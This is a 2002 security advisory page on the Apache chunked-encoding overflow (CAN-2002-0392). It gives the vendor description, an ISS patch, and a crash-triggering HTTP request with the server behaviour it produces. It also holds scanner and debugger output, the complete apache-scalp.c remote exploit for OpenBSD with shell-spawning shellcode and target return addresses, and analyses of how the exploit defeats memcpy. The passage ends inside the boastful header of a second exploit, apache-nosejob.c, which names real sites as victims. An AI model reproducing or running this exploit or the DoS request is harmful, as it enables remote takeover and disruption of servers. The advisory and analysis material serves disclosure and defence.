18th Jun 2002 [SBWID-5463]
COMMAND
Apache web server remote DoS and heap overflow
SYSTEMS AFFECTED
Apache 1.3 all versions including 1.3.24
Apache 2 all versions up to 2.0.39
PROBLEM
In Mark J Cox posting :
While testing for Oracle vulnerabilities, Mark Litchfield discovered a
denial of service attack for Apache on Windows. Investigation by the
Apache Software Foundation showed that this issue has a wider scope,
which on some platforms results in a denial of service vulnerability,
while on some other platforms presents a potential a remote exploit
vulnerability.
We were also notified today by ISS that they had published the same
issue which has forced the early release of this advisory.
The Common Vulnerabilities and Exposures project (cve.mitre.org) has
assigned the name CAN-2002-0392 to this issue.
Description:
Versions of the Apache web server up to and including 1.3.24 and 2.0 up
to and including 2.0.36 and 2.0.36-dev versions contain a bug in the
routines which deal with invalid requests which are encoded using
chunked encoding. This bug can be triggered remotely by sending a
carefully crafted invalid request. This functionality is enabled by
default.
In most cases the outcome of the invalid request is that the child
process dealing with the request will terminate. At the least, this
could help a remote attacker launch a denial of service attack as the
parent process will eventually have to replace the terminated child
process and starting new children uses non-trivial amounts of
resources.
On the Windows and Netware platforms, Apache runs one multithreaded
child process to service requests. The teardown and subsequent setup
time to replace the lost child process presents a significant
interruption of service. As the Windows and Netware ports create a new
process and reread the configuration, rather than fork a child process,
this delay is much more pronounced than on other platforms.
In Apache 2.0 the error condition is correctly detected, so it will not
allow an attacker to execure arbitrary code on the server. However
platforms could be using a multithreaded model of multiple concurrent
requests per child process (although the default preference remains
multiple processes with a single thread and request per process, and
most multithreaded models continue to create multiple child processes).
Using any multithreaded model, all concurrent requests currently served
by the affected child process will be lost.
In Apache 1.3 the issue causes a stack overflow. Due to the nature of
the overflow on 32-bit Unix platforms this will cause a segmentation
violation and the child will terminate. However on 64-bit platforms the
overflow can be controlled and so for platforms that store return
addresses on the stack it is likely that it is further exploitable.
This could allow arbitrary code to be run on the server as the user the
Apache children are set to run as.
We have been made aware that Apache 1.3 on Windows is exploitable in
this way.
Editor\'s note
=============
ISS initially forwarded the following patch, however it as been
disregarded by the Apache team as unefective. ISS X-Force reply follows
:
1. Locate your source directory and navigate into the \"main\" sub-
directory.
2. Verify that \"http_protocol.c\" is present in the current directory.
3. To update your http_protocol.c file, create a file named
\"apache_patch.diff\", containing the following text:
- --- http_protocol.c.vuln Fri Jun 14 16:12:50 2002
+++ http_protocol.c Fri Jun 14 16:13:47 2002
@@ -2171,7 +2171,7 @@
/* Otherwise, we are in the midst of reading a chunk of data */
- - len_to_read = (r->remaining > bufsiz) ? bufsiz : r->remaining;
+ len_to_read = (r->remaining > (unsigned int)bufsiz) ? bufsiz : r->
remaining;
len_read = ap_bread(r->connection->client, buffer, len_to_read);
if (len_read <= 0) {
4. Apply the source code update using the \"patch\" command, or a similar
utility.
5. Build new binaries and reinstall.
This vulnerability was originally detected auditing the Apache 2.0
source tree. Apache 2.0 uses the same function to determine the chunk
size, and has the same vulnerable signed comparison. It is, however,
not vulnerable (by luck?) due to a signed comparison deep within the
buffered reading routines (within core_input_filter).
This issue is no more exploitable or unexploitable on a 32-bit platform
than on a 64-bit platform. Due to the signed comparison, the minimum
size passed to the memcpy() function is 0x80000000 or about 2gb. Unless
Apache has over 2gb of contiguous stack memory located after the target
buffer in memory, a segmentation fault will be caused. If you
understand how the stack is used, you will understand that this is an
impossibility.
Apache on \"Win32\" is not exploitable due to any \"64-bit\" addressing
issues. It is easily exploitable due to the nature of structured
exception handling on Windows and the fact that exception handler
pointers are stored on the stack.
If the DoS vulnerability is related to the overflow then the ISS patch
will work to prevent it. The unsigned comparison prevents any stack
overflow and as a result any related DoS issue is prevented. If the DoS
issue is unrelated, then of course the ISS patch will not be of any
help.
Update (20 June 2002)
======
Joe Testa shows what http string breaks apache :
POST /x.html HTTP/1.1
Host: 192.168.x.x
Transfer-Encoding: chunked
80000000
Rapid 7
0
Here is the behavior that the above string will produce:
UNIX:
Apache 1.3.24:
Connection is instantly dropped.
The connection is not logged in the access_log, but the following
will appear in the error_log:
[Mon Jun 17 16:12:25 2002] [notice] child pid 21452 exit signal
Segmentation fault (11)
Apache 2.0.36:
No effect! Hmmm...
Win32:
Apache 1.3.24:
Connection is instantly dropped.
The connection is *not* logged in access_log nor error_log!
Apache 2.0.36:
Connection appears to hang while child thread consumes all
available memory. After a minute or two, the OS reports that
virtual memory is exhausted via a server-side dialog box.
A remote client cannot determine the result of this test
because the connection remains open until the dialog box is
dismissed. A non-vulnerable server will not drop the
connection because it is waiting to receive 2 gigabytes of
legitimately chunked data.
The connection is not logged in access_log, but the following will
appear in the error_log:
[Tue Jun 18 09:16:34 2002] [notice] Parent: child process exited
with status 3221225477 -- Restarting.
Note that in the test string above, you can interchange the \"POST\"
with \"GET\", and you can use any hex value between 80000000 and
FFFFFFFF for the chunk size.
-Also-
Dave Aitel of Immunity, Inc. [http://www.immunitysec.com] posted a
scanner for the vulerability :
This is a spike script, and the associated generic spike .c and a
makefile. Get SPIKE 2.4 to compile and run this.
$ make; ./generic_chunked localhost 80 apachechunked.spk 0 0=20
make: Nothing to be done for `all\'.
Target is localhost
Fuzzing Variable 0:0
parsing apachechunked.spk
[Tue Jun 18 15:53:09 2002] [notice] child pid 17647 exit signal
Segmentation fault (11)
Server: Apache-AdvancedExtranetServer/1.3.23 (Mandrake Linux/4mdk)
auth_ldap/1.6.0 mod_ssl/2.8.7 OpenSSL/0.9.6c PHP/4.1.2
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1024 (LWP 17224)]
0x401b2d79 in memcpy () from /lib/libc.so.6
(gdb) where
#0 0x401b2d79 in memcpy () from /lib/libc.so.6
#1 0x080950a0 in ?? ()
#2 0x0806366f in ap_get_client_block ()
#3 0x08065b5f in ap_discard_request_body ()
#4 0xd8000000 in ?? ()
Cannot access memory at address 0x80975
(gdb) x/2i $pc
0x401b2d79 <memcpy+41>: mov 0x1c(%edi),%edx
0x401b2d7c <memcpy+44>: sub $0x20,%ecx
(gdb) print/x $edi
$1 =3D 0xbfffffec
(gdb) q
Content-Type: application/x-tar
Content-Disposition: attachment; filename=apachefun.tar
Content-Transfer-Encoding: base64
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB1c3RhciAgAGRhdmUAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAZGF2ZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGdl
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-Also-
GOBBLES [http://www.bugtraq.org] security posted an exploit for OpenBSD
x86 :
Attached is a remote Apache 1.3.X exploit for the \"chunking\"
vulnerability. This version of the exploit works only on OpenBSD. \"Experts\"
have argued as to why this is not exploitable on x86/*nix. This version
of the exploit has been modified to convince these \"experts\" that
they are wrong. Further, it is very ./friendly and all
scriptkids/penetration testers should be able to run it without any
trouble.
/*
* apache-scalp.c
* OPENBSD/X86 APACHE REMOTE EXPLOIT!!!!!!!
*
* ROBUST, RELIABLE, USER-FRIENDLY MOTHERFUCKING 0DAY WAREZ!
*
* BLING! BLING! --- BRUTE FORCE CAPABILITIES --- BLING! BLING!
*
* \". . . and Doug Sniff said it was a hole in Epic.\"
*
* ---
* Disarm you with a smile
* And leave you like they left me here
* To wither in denial
* The bitterness of one who\'s left alone
* ---
*
* Remote OpenBSD/Apache exploit for the \"chunking\" vulnerability. Kudos to
* the OpenBSD developers (Theo, DugSong, jnathan, *@#!w00w00, ...) and
* their crappy memcpy implementation that makes this 32-bit impossibility
* very easy to accomplish. This vulnerability was recently rediscovered by a slew
* of researchers.
*
* The \"experts\" have already concurred that this bug...
* - Can not be exploited on 32-bit *nix variants
* - Is only exploitable on win32 platforms
* - Is only exploitable on certain 64-bit systems
*
* However, contrary to what ISS would have you believe, we have
* successfully exploited this hole on the following operating systems:
*
* Sun Solaris 6-8 (sparc/x86)
* FreeBSD 4.3-4.5 (x86)
* OpenBSD 2.6-3.1 (x86)
* Linux (GNU) 2.4 (x86)
*
* Don\'t get discouraged too quickly in your own research. It took us close
* to two months to be able to exploit each of the above operating systems.
* There is a peculiarity to be found for each operating system that makes the
* exploitation possible.
*
* Don\'t email us asking for technical help or begging for warez. We are
* busy working on many other wonderful things, including other remotely
* exploitable holes in Apache. Perhaps The Great Pr0ix would like to inform
* the community that those holes don\'t exist? We wonder who\'s paying her.
*
* This code is an early version from when we first began researching the
* vulnerability. It should spawn a shell on any unpatched OpenBSD system
* running the Apache webserver.
*
* We appreciate The Blue Boar\'s effort to allow us to post to his mailing
* list once again. Because he finally allowed us to post, we now have this
* very humble offering.
*
* This is a very serious vulnerability. After disclosing this exploit, we
* hope to have gained immense fame and glory.
*
* Testbeds: synnergy.net, monkey.org, 9mm.com
*
* Abusing the right syscalls, any exploit against OpenBSD == root. Kernel
* bugs are great.
*
* [#!GOBBLES QUOTES]
*
* --- you just know 28923034839303 admins out there running
* OpenBSD/Apache are going \"ugh..not exploitable..ill do it after the
* weekend\"
* --- \"Five years without a remote hole in the default install\". default
* package = kernel. if theo knew that talkd was exploitable, he\'d cry.
* --- so funny how apache.org claims it\'s impossible to exploit this.
* --- how many times were we told, \"ANTISEC IS NOT FOR YOU\" ?
* --- I hope Theo doesn\'t kill himself
* --- heh, this is a middle finger to all those open source, anti-\"m$\"
* idiots... slashdot hippies...
* --- they rushed to release this exploit so they could update their ISS
* scanner to have a module for this vulnerability, but it doesnt even
* work... it\'s just looking for win32 apache versions
* --- no one took us seriously when we mentioned this last year. we warned
* them that moderation == no pie.
* --- now try it against synnergy :>
* --- ANOTHER BUG BITE THE DUST... VROOOOM VRRRRRRROOOOOOOOOM
*
* xxxx this thing is a major exploit. do you really wanna publish it?
* oooo i\'m not afraid of whitehats
* xxxx the blackhats will kill you for posting that exploit
* oooo blackhats are a myth
* oooo so i\'m not worried
* oooo i\'ve never seen one
* oooo i guess it\'s sort of like having god in your life
* oooo i don\'t believe there\'s a god
* oooo but if i sat down and met him
* oooo i wouldn\'t walk away thinking
* oooo \"that was one hell of a special effect\"
* oooo so i suppose there very well could be a blackhat somewhere
* oooo but i doubt it... i\'ve seen whitehat-blackhats with their ethics
* and deep philosophy...
*
* [GOBBLES POSERS/WANNABES]
*
* --- #!GOBBLES@EFNET (none of us join here, but we\'ve sniffed it)
* --- super@GOBBLES.NET (low-level.net)
*
* GOBBLES Security
* GOBBLES@hushmail.com
* http://www.bugtraq.org
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/time.h>
#include <signal.h>
#define EXPLOIT_TIMEOUT 5 /* num seconds to wait before assuming it failed */
#define RET_ADDR_INC 512
#define MEMCPY_s1_OWADDR_DELTA -146
#define PADSIZE_1 4
#define PADSIZE_2 5
#define PADSIZE_3 7
#define REP_POPULATOR 24
#define REP_RET_ADDR 6
#define REP_ZERO 36
#define REP_SHELLCODE 24
#define NOPCOUNT 1024
#define NOP 0x41
#define PADDING_1 \'A\'
#define PADDING_2 \'B\'
#define PADDING_3 \'C\'
#define PUT_STRING(s) memcpy(p, s, strlen(s)); p += strlen(s);
#define PUT_BYTES(n, b) memset(p, b, n); p += n;
#define SHELLCODE_LOCALPORT_OFF 30
char shellcode[] =
\"\\x89\\xe2\\x83\\xec\\x10\\x6a\\x10\\x54\\x52\\x6a\\x00\\x6a\\x00\\xb8\\x1f\"
\"\\x00\\x00\\x00\\xcd\\x80\\x80\\x7a\\x01\\x02\\x75\\x0b\\x66\\x81\\x7a\\x02\"
\"\\x42\\x41\\x75\\x03\\xeb\\x0f\\x90\\xff\\x44\\x24\\x04\\x81\\x7c\\x24\\x04\"
\"\\x00\\x01\\x00\\x00\\x75\\xda\\xc7\\x44\\x24\\x08\\x00\\x00\\x00\\x00\\xb8\"
\"\\x5a\\x00\\x00\\x00\\xcd\\x80\\xff\\x44\\x24\\x08\\x83\\x7c\\x24\\x08\\x03\"
\"\\x75\\xee\\x68\\x0b\\x6f\\x6b\\x0b\\x81\\x34\\x24\\x01\\x00\\x00\\x01\\x89\"
\"\\xe2\\x6a\\x04\\x52\\x6a\\x01\\x6a\\x00\\xb8\\x04\\x00\\x00\\x00\\xcd\\x80\"
\"\\x68\\x2f\\x73\\x68\\x00\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe2\\x31\\xc0\\x50\"
\"\\x52\\x89\\xe1\\x50\\x51\\x52\\x50\\xb8\\x3b\\x00\\x00\\x00\\xcd\\x80\\xcc\";
struct {
char *type;
u_long retaddr;
} targets[] = { // hehe, yes theo, that say OpenBSD here!
{ \"OpenBSD 3.0 x86 / Apache 1.3.20\", 0xcf92f },
{ \"OpenBSD 3.0 x86 / Apache 1.3.22\", 0x8f0aa },
{ \"OpenBSD 3.0 x86 / Apache 1.3.24\", 0x90600 },
{ \"OpenBSD 3.1 x86 / Apache 1.3.20\", 0x8f2a6 },
{ \"OpenBSD 3.1 x86 / Apache 1.3.23\", 0x90600 },
{ \"OpenBSD 3.1 x86 / Apache 1.3.24\", 0x9011a },
{ \"OpenBSD 3.1 x86 / Apache 1.3.24 #2\", 0x932ae },
};
int main(int argc, char *argv[]) {
char *hostp, *portp;
unsigned char buf[512], *expbuf, *p;
int i, j, lport;
int sock;
int bruteforce, owned, progress;
u_long retaddr;
struct sockaddr_in sin, from;
if(argc != 3) {
printf(\"Usage: %s <target#|base address> <ip[:port]>\\n\", argv[0]);
printf(\" Using targets:\\t./apache-scalp 3 127.0.0.1:8080\\n\");
printf(\" Using bruteforce:\\t./apache-scalp 0x8f000 127.0.0.1:8080\\n\");
printf(\"\\n--- --- - Potential targets list - --- ----\\n\");
printf(\"Target ID / Target specification\\n\");
for(i = 0; i < sizeof(targets)/8; i++)
printf(\"\\t%d / %s\\n\", i, targets[i].type);
return -1;
}
hostp = strtok(argv[2], \":\");
if((portp = strtok(NULL, \":\")) == NULL)
portp = \"80\";
retaddr = strtoul(argv[1], NULL, 16);
if(retaddr < sizeof(targets)/8) {
retaddr = targets[retaddr].retaddr;
bruteforce = 0;
}
else
bruteforce = 1;
srand(getpid());
signal(SIGPIPE, SIG_IGN);
for(owned = 0, progress = 0;;retaddr += RET_ADDR_INC) {
/* skip invalid return adresses */
i = retaddr & 0xff;
if(i == 0x0a || i == 0x0d)
retaddr++;
else if(memchr(&retaddr, 0x0a, 4) || memchr(&retaddr, 0x0d, 4))
continue;
sock = socket(AF_INET, SOCK_STREAM, 0);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(hostp);
sin.sin_port = htons(atoi(portp));
if(!progress)
printf(\"\\n[*] Connecting.. \");
fflush(stdout);
if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) {
perror(\"connect()\");
exit(1);
}
if(!progress)
printf(\"connected!\\n\");
/* Setup the local port in our shellcode */
i = sizeof(from);
if(getsockname(sock, (struct sockaddr *) & from, &i) != 0) {
perror(\"getsockname()\");
exit(1);
}
lport = ntohs(from.sin_port);
shellcode[SHELLCODE_LOCALPORT_OFF + 1] = lport & 0xff;
shellcode[SHELLCODE_LOCALPORT_OFF + 0] = (lport >> 8) & 0xff;
p = expbuf = malloc(8192 + ((PADSIZE_3 + NOPCOUNT + 1024) * REP_SHELLCODE)
+ ((PADSIZE_1 + (REP_RET_ADDR * 4) + REP_ZERO + 1024) * REP_POPULATOR));
PUT_STRING(\"GET / HTTP/1.1\\r\\nHost: apache-scalp.c\\r\\n\");
for (i = 0; i < REP_SHELLCODE; i++) {
PUT_STRING(\"X-\");
PUT_BYTES(PADSIZE_3, PADDING_3);
PUT_STRING(\": \");
PUT_BYTES(NOPCOUNT, NOP);
memcpy(p, shellcode, sizeof(shellcode) - 1);
p += sizeof(shellcode) - 1;
PUT_STRING(\"\\r\\n\");
}
for (i = 0; i < REP_POPULATOR; i++) {
PUT_STRING(\"X-\");
PUT_BYTES(PADSIZE_1, PADDING_1);
PUT_STRING(\": \");
for (j = 0; j < REP_RET_ADDR; j++) {
*p++ = retaddr & 0xff;
*p++ = (retaddr >> 8) & 0xff;
*p++ = (retaddr >> 16) & 0xff;
*p++ = (retaddr >> 24) & 0xff;
}
PUT_BYTES(REP_ZERO, 0);
PUT_STRING(\"\\r\\n\");
}
PUT_STRING(\"Transfer-Encoding: chunked\\r\\n\");
snprintf(buf, sizeof(buf) - 1, \"\\r\\n%x\\r\\n\", PADSIZE_2);
PUT_STRING(buf);
PUT_BYTES(PADSIZE_2, PADDING_2);
snprintf(buf, sizeof(buf) - 1, \"\\r\\n%x\\r\\n\", MEMCPY_s1_OWADDR_DELTA);
PUT_STRING(buf);
write(sock, expbuf, p - expbuf);
progress++;
if((progress%70) == 0)
progress = 1;
if(progress == 1) {
memset(buf, 0, sizeof(buf));
sprintf(buf, \"\\r[*] Currently using retaddr 0x%lx, length %u, localport %u\",
retaddr, (unsigned int)(p - expbuf), lport);
memset(buf + strlen(buf), \' \', 74 - strlen(buf));
puts(buf);
if(bruteforce)
putchar(\';\');
}
else
putchar((rand()%2)? \'P\': \'p\');
fflush(stdout);
while (1) {
fd_set fds;
int n;
struct timeval tv;
tv.tv_sec = EXPLOIT_TIMEOUT;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(sock, &fds);
memset(buf, 0, sizeof(buf));
if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) {
if(FD_ISSET(sock, &fds)) {
if((n = read(sock, buf, sizeof(buf) - 1)) <= 0)
break;
if(!owned && n >= 4 && memcmp(buf, \"\\nok\\n\", 4) == 0) {
printf(\"\\nGOBBLE GOBBLE!@#%%)*#\\n\");
printf(\"retaddr 0x%lx did the trick!\\n\", retaddr);
sprintf(expbuf, \"uname -a;id;echo hehe, now use 0day OpenBSD local kernel exploit to gain instant r00t\\n\");
write(sock, expbuf, strlen(expbuf));
owned++;
}
write(1, buf, n);
}
if(FD_ISSET(0, &fds)) {
if((n = read(0, buf, sizeof(buf) - 1)) < 0)
exit(1);
write(sock, buf, n);
}
}
if(!owned)
break;
}
free(expbuf);
close(sock);
if(owned)
return 0;
if(!bruteforce) {
fprintf(stderr, \"Ooops.. hehehe!\\n\");
return -1;
}
}
return 0;
}
Update (21 June 2002)
======
Stefan Esser of e-matters Security explains :
I heard several people looking at the gobbles exploit and believing it
can only be fake:
here is my little explanation how bsd memcpy can be exploited:
first a snipset of the bsd memcpy code:
...
1:
addl %ecx,%edi /* copy backwards. */
addl %ecx,%esi
std
[1] andl $3,%ecx /* any fractional bytes? */
decl %edi
decl %esi
rep
movsb
[X] movl 20(%esp),%ecx /* copy remainder by words */
shrl $2,%ecx
subl $3,%esi
subl $3,%edi
rep
movsl
...
In Apache we trigger exactly this piece of code: bsd thinks the two
buffers are overlapping and so it wants to copy backward. The problem
is that you are able to overwrite the call to memcpy including the
supplied paramters (dst, src, length). With up to 3 bytes ([1])
depending on alignment. if you align everything perfectly you can set
the 3 high bytes of length to zero and so change how many dwords memcpy
tries to copy in our case 0x000000?? This is only possible because the
code reads the length param again from stack [X]... This way you can
easily survive the call and overwrite the saved instruction pointer
before the memcpy call...
- Then Ben Laurie comments on [http://www.apache-ssl.org/ben.html] -
I should just point out the slight error in this analysis - in fact,
the exploit only overwrites two bytes of the length (incidentally, the
length is also constrained to be its own stack offset, leaving no room
for manouver at all) - so the length is initially -146 (ffffff6e), and
after overwriting becomes 0000ff6e, copying just under 64k onto the
stack, which is plenty for a standard stack-based shellcode exploit.
Here\'s an analysis I wrote for iternal use at the ASF - it doesn\'t go
into detail on the shellcode (which is just the usual shellcode), but
does explain how the expected SEGV from overrunning the stack is
avoided. Note that someone (sorry, forgotten who) posted a similar
generic analyis a day or two ago - this one was independently arrived
at and refers to the Gobbles attack specifically.
First, the exploit code puts stuff on the stack (legitimately, in
buffers). It then arranges a negative offset, as previously described,
to be handed to memcpy. Here\'s where it gets cute. memcpy has memmove
semantics (i.e., it copies in the correct direction to handle
overlapping source/dest) on both OpenBSD and FreeBSD (in fact, I
believe this is a requirement for this exploit to work on any system
where the stack grows downwards). As a result, when the memcpy is
attempted, it is done backwards (i.e. the copy starts at
source+length-1 -> dest+length-1 and downwards for length bytes). Now,
here\'s the cute bit. memmove (et al) are optimised to copy in 4 byte
chunks, for speed. This means that they have to copy the leftover bytes
separately. This is handled by copying the odd 0-3 bytes before the
remaining bytes.
So, if you arrange for the negative offset of the buffer to point at
where the length is stored on the stack, then when these odd bytes are
copied, you can modify the length. What they do is modify an initial
length of 0xffffxxxx to 0x0000xxxx - note that the length is also the
offset, so there is also a certain amount of luck involved, but all
that is needed is for the offset to be small enough that the length
remains big enough to zap enough stack (since the offset is a few
hundred, that leaves the length at near to 64k, which is plenty to zap
a few return addresses). Then, when the length is reloaded to do the
second copy, it is miraculously smaller (I boggled first time I saw
this in the debugger), and doesn\'t cause the expected SEGV, just nice
corruption of the stack, as required![1]
So, to illustrate with source:
0x400f9d6c <memcpy>: push %esi
0x400f9d6d <memcpy+1>: push %edi
0x400f9d6e <memcpy+2>: mov 0xc(%esp,1),%edi
0x400f9d72 <memcpy+6>: mov 0x10(%esp,1),%esi
0x400f9d76 <memcpy+10>: mov 0x14(%esp,1),%ecx
0x400f9d7a <memcpy+14>: cmp %esi,%edi
0x400f9d7c <memcpy+16>: jae 0x400f9d94 <memcpy+40>
...
at this point, we\'ve decided to go backwards, edi is dest, esi is
source and ecx is count (aka -146 aka ffffff6e)
0x400f9d94 <memcpy+40>: add %ecx,%edi
0x400f9d96 <memcpy+42>: add %ecx,%esi
Now we are pointing at the \"end\" of the buffers (i.e. somewhere down
the stack from them, and, lo and behold, edi now points at the two MS
bytes of the count)
0x400f9d98 <memcpy+44>: std
0x400f9d99 <memcpy+45>: and $0x3,%ecx
calculate spare bytes (2 in this case)
0x400f9d9c <memcpy+48>: dec %edi
0x400f9d9d <memcpy+49>: dec %esi
0x400f9d9e <memcpy+50>: repz movsb %ds:(%esi),%es:(%edi)
and copy them - in fact two zeroes are copied, so the length is now
0000ff6e.
0x400f9da0 <memcpy+52>: mov 0x14(%esp,1),%ecx
load the length again (now ff6e)
0x400f9da4 <memcpy+56>: shr $0x2,%ecx
divide by 4
0x400f9da7 <memcpy+59>: sub $0x3,%esi
0x400f9daa <memcpy+62>: sub $0x3,%edi
0x400f9dad <memcpy+65>: repz movsl %ds:(%esi),%es:(%edi)
and copy that many longs (i.e. just shy of 64k bytes). Here is where we
would have gone bang with a SEGV, but don\'t coz of the cunningness.
0x400f9daf <memcpy+67>: mov 0xc(%esp,1),%eax
0x400f9db3 <memcpy+71>: pop %edi
0x400f9db4 <memcpy+72>: pop %esi
0x400f9db5 <memcpy+73>: cld
0x400f9db6 <memcpy+74>: ret
return to a corrupted return address (or is it the next one up that\'s
corrupted? not sure, don\'t care). And hey presto, remote shell.
Note that glibc is _not_ vulnerable in this way, so I have no idea how
the Linux attack works. I have not examined Solaris.
[1] For those not familiar with this class of exploit, the stack is
corrupted such that the return address for some function call points to
code which spawns a shell, which is then used by the attacker to have
his or her evil way with your machine.
Update (24 June 2002)
======
The GOBBLES security team does it again [http://www.bugtraq.org] :
There seems to be some confusion about whether or not this bug can be
exploited on any other operating systems than OpenBSD. Here\'s a second
version of our private exploit, apache-massacre.c, called
apache-nosejob.c. Used correctly, it will successfully exploit any
vulnerable Free/Net/OpenBSD (x86) machine.
/*
* apache-nosejob.c - Now with FreeBSD & NetBSD targets ;>
*
* !! THIS EXPLOIT IS NOW PRIVATE ON BUGTRAQ !!
*
* USE BRUTE FORCE ! \"AUTOMATED SCRIPT KIDDY\" ! USE BRUTE FORCE !
*
* YEZ!$#@ YOU CAN EVEN DEFACE BUGTRAQ.ORG!
*
* Your high priced security consultant\'s plane ticket: $1500
* Your high priced security consultant\'s time: $200/hour
* RealSecure nodes all over your company: $200,000
* Getting owned by 0day: Priceless
*
* * BEG FOR FAVOR * BEG FOR FAVOR * BEG FOR FAVOR * BEG FOR FAVOR *
* If somebody could do us a big favor and contact Jennifer Garner and ask
* her to make a journey to Vegas this summer for Defcon, to hang out with
* the members of GOBBLES Security who are all huge fans of hers, we would
* be eternally grateful. We are 100% serious about this. We would love
* to have a chance to sit down and have a nice conversation with her during
* the conference -- something little to make our lives feel more complete.
*
* Just show her this picture, and she\'ll understand that we\'re not some
* crazy obsessive fanatical lunatics that she would want to avoid. ;-)
* http://phrack.org/summercon2002/GOBBLES_show.jpg
* We even promise to keep our clothes on!
*
* Thx to all those GOBBLES antagonizers. Your insults fuel our desire to
* work harder to gain more fame.
*
* This exploit brought to you by a tagteam effort between GOBBLES Security
* and ISS X-Forces. ISS supplied the silly mathematical computations and
* other abstract figures declaring the exploitation of this bug to be
* impossible, without factoring in the chance that there might be other
* conditions present that would allow exploitation. After the failure of
* ISS\' Santa Claus, GOBBLES Security didn\'t want to disappoint the kids and
* the security consultants and have brought forth a brand new shiny toy for
* all to marvel at.
*
* GOBBLES Security Sex Force: A lot of companies like to let you know
* their employees have the biggest dicks. We\'re firm believers in the
* idea that it\'s not the size of the wave, but rather the motion of the
* ocean -- we have no choice anyway.
*
* 3APAPAPA said this can\'t be done on FreeBSD. He probably also thinks
* qmail can\'t be exploited remotely. Buzzz! There we go speaking through
* our asses again. Anyways we\'re looking forward to his arguments on why
* this isn\'t exploitable on Linux and Solaris. Lead, follow, or get the
* fuck out of the way.
*
* Weigh the chances of us lying about the Linux version. Hmm, well so far
* we\'ve used a \"same shit, different smell\" approach on *BSD, so you could
* be forgiven for thinking we have no Linux version. Then bring in the
* reverse psychology factor of this paragraph that also says we don\'t have
* one. But we\'d say all of the above to make you believe us. This starts to
* get really complicated.
*
* ---
* God knows I\'m helpless to speak
* On my own behalf
* God is as helpless as me
* Caught in the negatives
* We all just do as we please
* False transmissions
* I hope God forgives me
* For my transgressions
*
* It\'s what you want
* To know no consequences
* It\'s what you need
* To fucking bleed
* It\'s all too much
* ---
*
* Changes:
* + can do hostname resolution
* + uses getopt()
* + works against freebsd and netbsd now
* + ability to execute custom commands when shellcode replies -- great for
* mass hacking
* + rand() value bitshifted for more randomness in our progress bar tongues
* + more targets ;> BUT REMEMBER BRUTE FORCE MODE!!!
* + [RaFa] complained that the first version didn\'t let him hack through
* proxies. New shellcode has been added for additional fun. It\'s real
* funky, monkey, do you trust? Didn\'t think so.
*
* Fun to know:
* + Most apache installations don\'t even log the attack
* + GOBBLES Security is not playing games anymore.
* + GOBBLES Security has more active members than w00w00.
* + w00w00.org is still vulnerable to this exploit.
* + w00w00 might release another AIM advisory soon about how evil the
* whole DMCA thing is. *yawn*
*
* Fun to do:
* + Spot the #openbsd operator who can figure out how to use this!
* + Join #snort and laugh at their inadequacies
* + Question the effectiveness of Project Honeynet, when they have yet
* to discover the exploitation of a single \"0day\" vulnerability in the
* wild. HURRY UP B0YZ 4ND H4CK Y0UR 0WN H0N3YP0TZ N0W W1TH 4LL Y0UR
* 0DAY T0 PR0V3 US WR0NG!!@# Dumb twats.
*
* 80% of #openbsd won\'t be patching Apache because:
* + \"It\'s not in the default install\"
* + \"It\'s only uid nobody. So what?\"
* + \"Our memcpy() implementation is not buggy\"
* + \"I couldn\'t get the exploit to work, so it must not actually be
* exploitable. Stupid GOBBLES wasting my time with nonsense\"
* + jnathan\'s expert advice to his peers is that \"this is not much of
* a security issue\" -- @stake + w00w00 + snort brain power in action!
*
* Testbeds: hotmail.com, 2600.com, w00w00.org, efnet.org, atstake.com,
* yahoo.com, project.honeynet.org, pub.seastrom.com
*
* !! NOTICE TO CRITICS !! NOTICE TO CRITICS !! NOTICE TO CRITICS !!
*
* If you\'re using this exploit against a vulnerable machine (that the
* exploit is supposed to work on, quit mailing us asking why apache-scalp
* doesn\'t work against Linux -- dumbasses) and it does not succeed, you
* will have to play with the r|d|z values and * BRUTEFORCE * BRUTEFORCE *
* * BRUTEFORCE * BRUTEFORCE * BRUTEFORCE * BRUTEFORCE * BRUTEFORCE *
*
* We wrote this for ethical purposes only. There is such a thing as an
* \"ethical hacker\" right?
*
* This should make penetration testing _very_ easy. Go out and make some
